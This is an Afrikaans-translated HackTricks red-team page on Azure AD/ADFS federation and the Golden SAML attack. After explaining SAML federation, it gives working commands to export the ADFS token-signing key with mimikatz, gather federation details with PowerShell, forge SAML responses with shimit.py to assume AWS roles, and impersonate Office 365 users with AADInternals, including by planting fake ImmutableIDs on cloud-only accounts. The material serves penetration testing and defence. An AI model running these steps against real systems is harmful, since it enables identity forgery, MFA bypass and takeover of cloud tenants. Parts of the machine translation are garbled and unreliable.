Az - Federation

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Van die dokumente:Federasie is 'n versameling van domeine wat vertroue gevestig het. Die vlak van vertroue kan wissel, maar sluit gewoonlik outentifikasie in en sluit bykans altyd magtiging in. 'n Tipiese federasie mag 'n aantal organisasies insluit wat vertroue vir gedeelde toegang tot 'n stel hulpbronne gevestig het.

Jy kan jou on-premises omgewing federate met Azure AD en hierdie federasie gebruik vir outentifikasie en magtiging. Hierdie aanmeldingsmetode verseker dat alle gebruiker outentifikasie op die perseel plaasvind. Hierdie metode stel administrateurs in staat om strenger vlakke van toegangsbeheer te implementeer. Federasie met AD FS en PingFederate is beskikbaar.

Basies, in Federasie, vind alle outentifikasie plaas in die on-prem-omgewing en die gebruiker ervaar SSO oor al die vertroude omgewings. Gebruikers kan dus wolktoepassings toegang deur hul on-prem-gedragskode te gebruik.

Security Assertion Markup Language (SAML) word gebruik vir uitruil van alle outentifikasie- en magtigingsinligting tussen die verskaffers.

In enige federasie-opstelling is daar drie partye:

  • Gebruiker of Kliënt

  • Identiteitsverskaffer (IdP)

  • Diensverskaffer (SP)

(Afbeeldings van https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsole of vSphere-webkliënt) deur 'n gebruiker benader. Hierdie stap kan omseil word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.

  2. Daarna identifiseer die SP die toepaslike IdP (bv., AD FS, Okta) vir gebruikeroutentifikasie. Dit stel dan 'n SAML (Security Assertion Markup Language) AuthnRequest op en stuur die kliënt na die gekose IdP.

  3. Die IdP neem oor, outentifiseer die gebruiker. Na outentifikasie word 'n SAMLResponse deur die IdP geformuleer en deur die gebruiker na die SP gestuur.

  4. Laastens evalueer die SP die SAMLResponse. Indien suksesvol geverifieer, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang verleen. Dit dui die voltooiing van die aanmeldingsproses aan, wat die gebruiker in staat stel om van die diens gebruik te maak.

As jy meer wil leer oor SAML-outentifikasie en algemene aanvalle gaan na:

Pivoting

  • AD FS is 'n eise-gebaseerde identiteitsmodel.

  • "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."

  • Eise vir 'n gebruiker word binne die SAML-token geskryf en word dan onderteken om vertroulikheid deur die IdP te bied.

  • 'n Gebruiker word geïdentifiseer deur ImmutableID. Dit is globaal uniek en gestoor in Azure AD.

  • TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.

Golden SAML-aanval:

Golden SAML

Die proses waar 'n Identiteitsverskaffer (IdP) 'n SAMLResponse produseer om gebruiker aanmelding te magtig, is van uiterste belang. Afhangende van die spesifieke implementering van die IdP, kan die respons onderteken of versleutel word met die IdP se privaatsleutel. Hierdie prosedure stel die Diensverskaffer (SP) in staat om die egtheid van die SAMLResponse te bevestig, wat verseker dat dit inderdaad deur 'n vertroude IdP uitgereik is.

'n Parallel kan getrek word met die goue kaartjie-aanval, waar die sleutel wat die gebruiker se identiteit en toestemmings (KRBTGT vir goue kaartjies, token-ondertekeningsprivaatsleutel vir goue SAML) outentiseer, gemanipuleer kan word om 'n outentiseringsobjek te vervals (TGT of SAMLResponse). Dit maak dit moontlik om enige gebruiker te impersoneer, wat ongemagtigde toegang tot die SP verleen.

Goue SAMLs bied sekere voordele:

  • Hulle kan op afstand geskep word, sonder om deel te wees van die domein of federasie in kwestie.

  • Hulle bly doeltreffend selfs met Twee-Faktor-outentisering (2FA) geaktiveer.

  • Die token-ondertekenings privaatsleutel hernu nie outomaties nie.

  • Die verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig nie.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) is 'n Microsoft-diens wat die veilige uitruil van identiteitsinligting tussen vertroude besigheidspartners (federasie) fasiliteer. Dit maak dit in wese vir 'n domeindiens moontlik om gebruikersidentiteite met ander diensverskaffers binne 'n federasie te deel.

Met AWS wat die gekompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel enige toestemmings in die AWS-omgewing te bekom. Die aanval vereis die privaatsleutel wat gebruik word om die SAML-voorwerpe te onderteken, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaartjie-aanval. Toegang tot die AD FS-gebruikersrekening is voldoende om hierdie privaatsleutel te verkry.

Die vereistes vir die uitvoering van 'n goue SAML-aanval sluit in:

  • Token-ondertekeningsprivaatsleutel

  • IdP openbare sertifikaat

  • IdP-naam

  • Rolnaam (rol om aan te neem)

  • Domein\gebruikersnaam

  • Rol-sessienaam in AWS

  • Amazon-rekening-ID

Slegs die items in vet is verpligtend. Die ander kan na wense ingevul word.

Om die privaatsleutel te bekom, is toegang tot die AD FS-gebruikersrekening nodig. Van daar af kan die privaatsleutel uit die persoonlike stoor uitgevoer word met gereedskap soos mimikatz. Om die ander benodigde inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin gebruik soos hieronder, en verseker dat jy as die ADFS-gebruiker ingeteken is:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Met al die inligting, is dit moontlik om 'n geldige SAMLResponse te vergeet as die gebruiker wat jy wil impersoneer deur shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

Op-plaas -> wolk

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Dit is ook moontlik om 'n OnveranderlikeID van slegs wolkgebruikers te skep en hulle te impersoneer

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Verwysings

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated